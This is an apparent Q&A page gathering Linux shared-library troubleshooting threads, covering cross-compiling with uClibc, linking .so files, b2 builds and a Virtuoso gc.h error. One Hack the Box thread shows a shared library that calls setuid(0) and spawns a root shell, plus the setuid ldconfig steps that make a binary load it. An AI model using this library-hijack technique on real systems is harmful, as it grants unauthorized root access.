I am trying to implement a dynamic library(liblog.so) which is going to run on i386 controller.
when i compile that in Host Machine (Ubuntu Machine) it compiles and generates the .so file successfully.
liblog.so is the the file which is put under /usr/lib in target machine.
merom#arunkumar:~/freedcs/freedcs-code1/Controller/src/Controller$ ldd log_client
linux-gate.so.1 => (0xb7707000)
libnative.so.3 => not found
libxenomai.so.0 => not found
libpthread.so.0 => /lib/i386-linux-gnu/libpthread.so.0 (0xb76cd000)
librt.so.0 => not found
liblog.so => /usr/lib/liblog.so (0xb76c9000)
libcrypto.so.1.0.0 => /lib/i386-linux-gnu/libcrypto.so.1.0.0 (0xb751e000)
libssl.so.1.0.0 => /lib/i386-linux-gnu/libssl.so.1.0.0 (0xb74c7000)
libgcc_s.so.1 => /lib/i386-linux-gnu/libgcc_s.so.1 (0xb74a9000)
libc.so.0 => not found
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb72f5000)
/lib/ld-uClibc.so.0 => /lib/ld-linux.so.2 (0xb7708000)
libdl.so.2 => /lib/i386-linux-gnu/libdl.so.2 (0xb72f0000)
libz.so.1 => /lib/i386-linux-gnu/libz.so.1 (0xb72d7000)
merom#arunkumar:~/freedcs/freedcs-code1/Controller/src/Controller$
output at host machine.
Output at target machine:
libnative.so.3 => /usr/lib/libnative.so.3 (0xb78d9000)
libxenomai.so.0 => /usr/lib/libxenomai.so.0 (0xb78d4000)
libpthread.so.0 => /lib/libpthread.so.0 (0xb78c1000)
librt.so.0 => /lib/librt.so.0 (0xb78bd000)
liblog.so => /lib/liblog.so (0xb78b9000)
libcrypto.so.1.0.0 => /usr/lib/libcrypto.so.1.0.0 (0xb7793000)
libssl.so.1.0.0 => /usr/lib/libssl.so.1.0.0 (0xb7752000)
libgcc_s.so.1 => /lib/libgcc_s.so.1 (0xb7748000)
libc.so.0 => /lib/libc.so.0 (0xb770a000)
libdl.so.0 => /lib/libdl.so.0 (0xb7706000)
libc.so.6 => not found
ld-uClibc.so.0 => /lib/ld-uClibc.so.0 (0xb78e2000)
when i send it to Target machine(Currently in VMware), when i run the .\log_client it shows can't load library 'libc.so.6'
Yes i compiled log_client with linked with liblog.so
Compilation Commands
Generating liblog.so
../../../../build/i386/buildroot-2011.11/output/host/usr/bin/i686-unknown-linux-uclibc-gcc -c log.c -o liblog.o
../../../../build/i386/buildroot-2011.11/output/host/usr/bin/i686-unknown-linux-uclibc-gcc -Wcast-align -g -W -Wall -L../../../../build/i386/buildroot-2011.11/output/target/usr/lib -lxenomai -lpthread -lrt -shared -o liblog.so liblog.o -rdynamic -lcrypto -lssl
Generating log_client
cp liblog.so ../../../../build/i386/buildroot-2011.11/output/target/usr/lib
../../../../build/i386/buildroot-2011.11/output/host/usr/bin/i686-unknown-linux-uclibc-gcc -Wcast-align -g -W -Wall -c log_client.c
../../../../build/i386/buildroot-2011.11/output/host/usr/bin/i686-unknown-linux-uclibc-gcc -Wcast-align -g -W -Wall -L../../../../build/i386/buildroot-2011.11/output/target/usr/lib -lxenomai -lpthread -lrt -o log_client log_client.o -llog -rdynamic -lcrypto -lssl
I am using same procedure for an other code that is working, though that code doesn't use this customized library(liblog.so), there were warnings too but i didn't posted here.
Please help me, i am frustrated!!
------------Edited----------
file Output
$ file liblog.so
liblog.so: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, not stripped
$ file log_client
log_client: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), not stripped
------------Update----------
Some one suggested me use --sysroot while compiling the files, but even that didn't helped me. Same error coming out. :(
I had put sysroot path to target machine's GCC's sysroot path
Generating liblog.so
../../../../build/i386/buildroot-2011.11/output/host/usr/bin/i686-unknown-linux-uclibc-gcc -Wcast-align -g -W -Wall -c log.c -o liblog.o --sysroot=/home/merom/freedcs/build/i386/buildroot-2011.11/output/host/usr/i686-unknown-linux-uclibc/sysroot/
../../../../build/i386/buildroot-2011.11/output/host/usr/bin/i686-unknown-linux-uclibc-gcc -Wcast-align -g -W -Wall -L../../../../build/i386/buildroot-2011.11/output/target/usr/lib -lxenomai -lpthread -lrt -shared -o liblog.so liblog.o -rdynamic -lcrypto -lssl --sysroot=/home/merom/freedcs/build/i386/buildroot-2011.11/output/host/usr/i686-unknown-linux-uclibc/sysroot/
Generating log_client
cp liblog.so ../../../../build/i386/buildroot-2011.11/output/target/usr/lib
../../../../build/i386/buildroot-2011.11/output/host/usr/bin/i686-unknown-linux-uclibc-gcc -Wcast-align -g -W -Wall -c log_client.c --sysroot=/home/merom/freedcs/build/i386/buildroot-2011.11/output/host/usr/i686-unknown-linux-uclibc/sysroot/
../../../../build/i386/buildroot-2011.11/output/host/usr/bin/i686-unknown-linux-uclibc-gcc -Wcast-align -g -W -Wall -L../../../../build/i386/buildroot-2011.11/output/target/usr/lib -lxenomai -lpthread -lrt -o log_client log_client.o -llog -rdynamic -lcrypto -lssl --sysroot=/home/merom/freedcs/build/i386/buildroot-2011.11/output/host/usr/i686-unknown-linux-uclibc/sysroot/
Update
After Running objdump This was the output.
objdump -x log_client | grep NEEDED
NEEDED libnative.so.3
NEEDED libxenomai.so.0
NEEDED libpthread.so.0
NEEDED librt.so.0
NEEDED liblog.so
NEEDED libcrypto.so.1.0.0
NEEDED libssl.so.1.0.0
NEEDED libgcc_s.so.1
NEEDED libc.so.0
objdump -x liblog.so | grep NEEDED
NEEDED libnative.so.3
NEEDED libxenomai.so.0
NEEDED libpthread.so.0
NEEDED librt.so.0
NEEDED libcrypto.so.1.0.0
NEEDED libssl.so.1.0.0
NEEDED libgcc_s.so.1
NEEDED libc.so.0
I had the same problem with an executable. Every tool I tried - ldd, objdump, readelf, strings - indicated depencency with libc.so.0, rather than .6. It turned out that one of its dependent libraries was depending on .6. So I went and fixed that and everything is working now.
The library had the wrong version because it was compiled using the wrong cross-compiler (I used it by mistake), so I recompiled and reuploaded it.
Related
I'm failing to load a shared object library with python. I've tried setting the LD_LIBRARY_PATH to where the someObject.o is located and that works when I am using non-sudo command to run the python script but when I use sudo I run into a linking error.
OSError: bbumintflib.o: cannot open shared object file: No such file or directory
Does anyone know how to link a .o file to the .so file?
using ldd, I know the .so cannot find the .o file.
>>>ldd someSharedObject.so
linux-vdso.so.1 (0x00007ffca69af000)
someObject.o => not found
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f53c96b8000)
/lib64/ld-linux-x86-64.so.2 (0x00007f53c9a57000)
Edit:
This is how I am building the object and sharedObject files
gcc -I ../include -I../../module1/include -I ../../module2/include --shared -fPIC someCFile.c -o someObject.o plat_linux.c
gcc someObject.o -shared -o someSharedObject.so
This is your problem:
gcc -I ../include -I../../module1/include -I ../../module2/include --shared -fPIC someCFile.c -o someObject.o plat_linux.c
gcc someObject.o -shared -o someSharedObject.so
The first command produces a shared library with odd name someObject.o.
The second command links a new shared library named someSharedObject.so, which depends on someObject.o.
To fix this, do this:
gcc -I ... --shared -fPIC someCFile.c plat_linux.c -o someSharedObject.so
I have a simple C program and such jamroot.jam:
exe hello : hello.c ;
I can run b2 -d+2:
........
gcc.compile.c bin/gcc-8.3.0/debug/hello.o
"g++" -x c -fPIC -O0 -fno-inline -Wall -g -c -o "bin/gcc-8.3.0/debug/hello.o" "hello.c"
gcc.link bin/gcc-8.3.0/debug/hello
"g++" -o "bin/gcc-8.3.0/debug/hello" -Wl,--start-group "bin/gcc-8.3.0/debug/hello.o" -Wl,-Bstatic -Wl,-Bdynamic -Wl,--end-group -fPIC -g
........
After this I receive hello binary which depends on libstdc++:
$ ldd bin/gcc-8.3.0/debug/hello
linux-vdso.so.1 (0x00007fffdaf5b000)
libstdc++.so.6 => /lib/x86_64-linux-gnu/libstdc++.so.6 (0x00007ff6d8176000)
libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007ff6d7ff3000)
libgcc_s.so.1 => /lib/x86_64-linux-gnu/libgcc_s.so.1 (0x00007ff6d7fd9000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff6d7e18000)
/lib64/ld-linux-x86-64.so.2 (0x00007ff6d8329000)
If I build it with gcc I get much less dependencies:
$ gcc hello.c -o hello
$ ldd ./hello
linux-vdso.so.1 (0x00007ffc661cc000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fca20243000)
/lib64/ld-linux-x86-64.so.2 (0x00007fca20433000)
Can I do this with b2?
I have a project which includes C and C++ programs and I would not like to have different build system for C binaries.
Try using g++, it works for c++ and c it should work for compiling, when you're done compiling run ./filename
I link a shared library on the command line while building an executable. Running ldd on that executable is not showing the linked shared library.
After looking at some of the output of the linker, I have even tried adding the -Wl,--no-as-needed option and that didn't help either.
foo.c:
#include <stdio.h>
void foo () {
printf ("Hello world\n");
}
main.c:
#include <stdio.h>
int main () {
printf ("In main \n");
foo ();
}
Here's the command I used to compile and link:
$ gcc -Wl,--no-as-needed main.c -o main -L./ -lfoo
/bin/ld: cannot find -lfoo
collect2: error: ld returned 1 exit status
$ gcc -c foo.c -shared -Wl,-soname,libfoo.so -o libfoo.so
$ ls -l libfoo.so
-rw-r--r-- 1 apple eng 1488 Jun 4 04:44 libfoo.so
$ gcc -Wl,--no-as-needed main.c -o main -L./ -lfoo
$ ldd main
linux-vdso.so.1 => (0x00007fffbdd6c000)
libc.so.6 => /lib64/libc.so.6 (0x00007f6367e23000)
/lib64/ld-linux-x86-64.so.2 (0x00005556e268a000)
libfoo.so does not show up above.
$ objdump -x main | grep NEEDED
NEEDED libc.so.6
Why isn't libfoo.so showing up as NEEDED?
By using the gcc option -c you're telling it to create only object from foo.c, so the only product you're getting from this gcc command is an object file. The fact that its suffix is .so is only because you forced it using -o option. If you run this command without -o you'd see that the output is just foo.o - an object file.
If you omit the -c from the gcc command you'd get the shared object you wanted.
Running file on the output file shows the difference (note that I'm not setting the output name using -o and letting gcc use its default names):
With -c:
> gcc -c foo.c -shared
> file foo.o
foo.o: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped
Without -c:
> gcc foo.c -shared
> file a.out
a.out: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=a63581bfc45f845c501ffb6635, not stripped
^^^
|||
This command does not generate a shared library:
gcc -c foo.c -shared -Wl,-soname,libfoo.so -o libfoo.so
It generates an object file libfoo.so that is later statically linked with your code. Proof: remove the lib file, the program will still run.
Solution:
Compile the object file separately, then convert it into a shared library. You will have to tell the loader where to search for the shared libraries by setting LD_LIBRARY_PATH:
gcc -c foo.c
gcc foo.o -shared -o libfoo.so
gcc main.c -o main -L./ -lfoo
export LD_LIBRARY_PATH=`pwd`
ldd ./main
# linux-vdso.so.1 (0x00007ffe0f7cb000)
# libfoo.so => /home/---/tmp/libfoo.so (0x00007f9bab6ec000)
# libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f9bab2fb000)
# /lib64/ld-linux-x86-64.so.2 (0x00007f9babaf0000)
I am currently working on a challenge on Hack the Box and am trying to get an existing executable on an exercise machine to run by library in place of one that is missing from the 'vulnerable' script.
The missing library is libseclogin.so. I have created a new file in /dev/shm and from there I have tried to use ldconfig to manually link the new library to drop me into a shell when myexec is run. ldconfig has the sticky bit set.
Here are the commands I have run. At the very end you can see that when I run ldd again to check the library has been relinked to /dev/shm/libseclogin.so that there has been no change.
Am I missing something out from this process?
genevieve#dab:/dev/shm$ ldd /usr/bin/myexec
linux-vdso.so.1 => (0x00007ffdbc6d9000)
libseclogin.so => /usr/lib/libseclogin.so (0x00007f5d75cb4000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5d758ea000)
/lib64/ld-linux-x86-64.so.2 (0x00007f5d75eb6000)
genevieve#dab:/dev/shm$ ls -la /sbin/ldconfig
-rwsr-sr-x 1 root root 387 Jan 14 2018 /sbin/ldconfig
genevieve#dab:/dev/shm$ nano libseclogin.c
genevieve#dab:/dev/shm$ gcc -Wall -fPIC -shared -o libseclogin.so libseclogin.c -ldl
libseclogin.c: In function ‘main’:
libseclogin.c:4:2: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
setuid(0);
^
libseclogin.c:5:2: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
setgid(0);
^
libseclogin.c:6:2: warning: implicit declaration of function ‘system’ [-Wimplicit-function-declaration]
system("/bin/bash");
^
genevieve#dab:/dev/shm$ chmod +x libseclogin.so
genevieve#dab:/dev/shm$ ldconfig -l /dev/shm/libseclogin.so
genevieve#dab:/dev/shm$ LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/dev/shm
genevieve#dab:/dev/shm$ echo $LD_LIBRARY_PATH
:/dev/shm
genevieve#dab:/dev/shm$ ldd /usr/bin/myexec
linux-vdso.so.1 => (0x00007ffc5f7f0000)
libseclogin.so => /usr/lib/libseclogin.so (0x00007eff487fa000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007eff48430000)
/lib64/ld-linux-x86-64.so.2 (0x00007eff489fc000)
genevieve#dab:/dev/shm$
This is the basic C scipt I am using to drop into the shell.
#include <stdio.h>
int main(void) {
setuid(0);
setgid(0);
system("/bin/bash");
}
Compile command to create shared library.
gcc -Wall -fPIC -shared -o libseclogin.so libseclogin.c -ldl
Issue was primarily down to my usage of ldconfig.
Once I ran it without explicitly specifying the so file, this seemed to correct the issues.
Correct command...
ldconfig /dev/shm
Rather than...
ldconfig /dev/shm/libseclogin.c
Then when I ran ldd myexec I got the correct output.
genevieve#dab:/dev/shm$ ldd /usr/bin/myexec
linux-vdso.so.1 => (0x00007ffdbc6d9000)
libseclogin.so => /dev/shm/libseclogin.so (0x00007f5d75cb4000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5d758ea000)
/lib64/ld-linux-x86-64.so.2 (0x00007f5d75eb6000)
I'm building Virtuoso Opensource after doing ./configure --enable_mono - works fine. Calling make then gives me an error, because libgc is not found.
make[2]: Entering directory `/usr/local/src/virtuoso-opensource/libsrc/Thread'
/bin/bash ../../libtool --tag=CC --mode=compile gcc -DHAVE_CONFIG_H -I. -I../../libsrc/Dk -fno-strict-aliasing -O2 -DMONO_USE_EXC_TABLES -fexceptions -D_REENTRANT -D_GNU_SOURCE -Wall -DNDEBUG -DPOINTER_64 -I/usr/local/src/virtuoso-opensource/libsrc/Xml.new -DOPENSSL_NO_KRB5 -Dlinux -D_GNU_SOURCE -DFILE64 -D_LARGEFILE64_SOURCE -I../../binsrc/mono/mono-1.1.7/libgc/include -I../../libsrc -I../../libsrc/Dk -DNO_UDBC_SDK -DUSE_INCLUDED_LIBGC=1 -g -O2 -MT libthrp_gc_la-sched_pthread_gc.lo -MD -MP -MF .deps/libthrp_gc_la-sched_pthread_gc.Tpo -c -o libthrp_gc_la-sched_pthread_gc.lo `test -f 'sched_pthread_gc.c' || echo './'`sched_pthread_gc.c
libtool: compile: gcc -DHAVE_CONFIG_H -I. -I../../libsrc/Dk -fno-strict-aliasing -O2 -DMONO_USE_EXC_TABLES -fexceptions -D_REENTRANT -D_GNU_SOURCE -Wall -DNDEBUG -DPOINTER_64 -I/usr/local/src/virtuoso-opensource/libsrc/Xml.new -DOPENSSL_NO_KRB5 -Dlinux -D_GNU_SOURCE -DFILE64 -D_LARGEFILE64_SOURCE -I../../binsrc/mono/mono-1.1.7/libgc/include -I../../libsrc -I../../libsrc/Dk -DNO_UDBC_SDK -DUSE_INCLUDED_LIBGC=1 -g -O2 -MT libthrp_gc_la-sched_pthread_gc.lo -MD -MP -MF .deps/libthrp_gc_la-sched_pthread_gc.Tpo -c sched_pthread_gc.c -fPIC -DPIC -o .libs/libthrp_gc_la-sched_pthread_gc.o
sched_pthread_gc.c:41:16: fatal error: gc.h: No such file or directory
compilation terminated.
make[2]: *** [libthrp_gc_la-sched_pthread_gc.lo] Error 1
make[2]: Leaving directory `/usr/local/src/virtuoso-opensource/libsrc/Thread'
make[1]: *** [all-recursive] Error 1
make[1]: Leaving directory `/usr/local/src/virtuoso-opensource/libsrc'
make: *** [all-recursive] Error 1
dellas#india672:/usr/local/src/virtuoso-opensource$
I just did sudo apt-get install libgc-dev which worked. Make still gives me the same error. I'm a Linux noob, can somebody give me advice what might be the problem here or how to solve it?
EDIT: FYI: ldconfig -v -p clearly says that libgc.so exists, so why is this make script looking for the header?
...
libgdbm_compat.so.3 (libc6,x86-64) => /usr/lib/x86_64-linux-gnu/libgdbm_compat.so.3
libgdbm.so.3 (libc6,x86-64) => /usr/lib/x86_64-linux-gnu/libgdbm.so.3
libgd.so.2 (libc6,x86-64) => /usr/lib/x86_64-linux-gnu/libgd.so.2
libgcrypt.so.11 (libc6,x86-64) => /lib/x86_64-linux-gnu/libgcrypt.so.11
libgccpp.so.1 (libc6,x86-64) => /usr/lib/libgccpp.so.1
libgccpp.so (libc6,x86-64) => /usr/lib/libgccpp.so
libgcc_s.so.1 (libc6,x86-64) => /lib/x86_64-linux-gnu/libgcc_s.so.1
libgc.so.1 (libc6,x86-64) => /usr/lib/libgc.so.1
libgc.so (libc6,x86-64) => /usr/lib/libgc.so
libgamin-1.so.0 (libc6,x86-64) => /usr/lib/libgamin-1.so.0
libgailutil.so.18 (libc6,x86-64) => /usr/lib/x86_64-linux-gnu/libgailutil.so.18
libfuse.so.2 (libc6,x86-64) => /lib/libfuse.so.2
...
You should check the contents that were provided by the libgc-dev package. There is generally a compatibility file in /usr/include called gc.h, who's only purpose is to #include <gc/gc.h>. Your distirbution may not have this file, which is causing the compilation problem.
To check the contents of libgc-dev, you do a:
dpkg-query -L libgc-dev
This will list all the files that were provided by this package. If it doesn't contain /usr/include/gc.h, then you may need to alter the #include to read #include <gc/gc.h>, or change the makefile to add: -I/usr/include/gc. I'd change the -I option as a last resort.
As an alternative, you can add a file in /usr/include called gc.h with the simple content:
/* This file is installed for backward compatibility. */
#include <gc/gc.h>
The Virtuoso mono hosting support is for version 1.x and will not work with the current 2.x and later releases for which support needs to be schedule for addition ...
Is is specifically mono runtime support you are seeking or maybe just the ADO.Net Provider for Mono, which can be built using:
cd binsrc/VirtuosoClient.Net
gmake -f Makefile.mono
Best Regards
Hugh Williams